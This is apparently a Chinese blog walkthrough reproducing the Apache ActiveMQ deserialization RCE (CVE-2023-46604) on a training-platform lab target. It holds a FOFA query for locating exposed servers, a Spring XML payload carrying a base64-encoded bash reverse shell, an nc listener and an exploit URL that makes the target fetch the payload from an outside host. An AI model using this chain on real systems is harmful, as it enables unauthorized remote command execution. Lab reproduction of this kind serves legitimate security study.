ActiveMQ 反序列化RCE漏洞(CVE-2023-46604)

0x01 前言

在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。
影响范围:

  • Apache ActiveMQ 版本 <= 5.18.2

漏洞搜索:

# fofa 语法
app="APACHE-ActiveMQ" && port="61616"

复现准备:

  • 目标靶场:春秋云境 http://xxxxx.cloudeci1.ichunqiu.com:80
  • 公网服务器:10.10.10.1
  • kali 本地虚拟机:127.0.0.1

0x02 复现

由于春秋云境服务器无法访问到本地的内网,所以需要一台公网服务器与本地虚拟机端口进行映射。
公网服务器建立 frps 开启 7000 端口,本地虚拟机启动 frpc,通过更改 frpc.ini 添加两个端口。一个用于本地建立 web 服务可以下载 xml 文件,一个用于目标靶场通过该端口将 shell 反弹到本地虚拟机。

1. 公网服务器启动 frps

# 配置 frps.ini
[common]
bind_port = 7000

# 启动 frps
./frps [-c frps.ini]

2. 本地虚拟机启动 frpc

配置文件:

  • 本地 80 映射公网服务器 22815
  • 本地 4444 映射公网服务器 22816

image.png

# 启动 frpc
./frpc -c frpc.ini

3. 创建 POC 文件

在本地虚拟机中创建空白目录,创建 poc.xml 文件,写入以下内容。

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjI4MTYgMD4mMQ==}|{base64,-d}|{bash,-i}</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

解密 echo, 后的 base64 加密数据,更改其中的 ip 和 port,重新加密替换。

4. 建立 HTTP 服务器

poc.xml 文件同目录下建立 HTTP 服务器

# 使用 python 在 80 端口建立
python3 -m http.server 80

此时,在本地浏览器中 localhost:80 应看到 poc.xml 文件。

5. 监听端口等待 shell

nc -lvvp 4444

6. 反序列化利用

访问目标靶场,复制 url:

http://xxxxx.cloudeci1.ichunqiu.com:8080/?active=org.example.activemq.service.SayService&name=World

替换 active 为具有漏洞的模块类,name 值为公网服务器 ip :映射本地80的 port 和 xml 文件路径。

http://xxxxx.ichunqiu.com:8080/?active=org.springframework.context.support.ClassPathXmlApplicationContext&name=http://101.43.68.65:22815/poc.xml

image.png

此时,4444 端口监听应返回 shell。

image.png

免责声明

技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!

  • 11
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值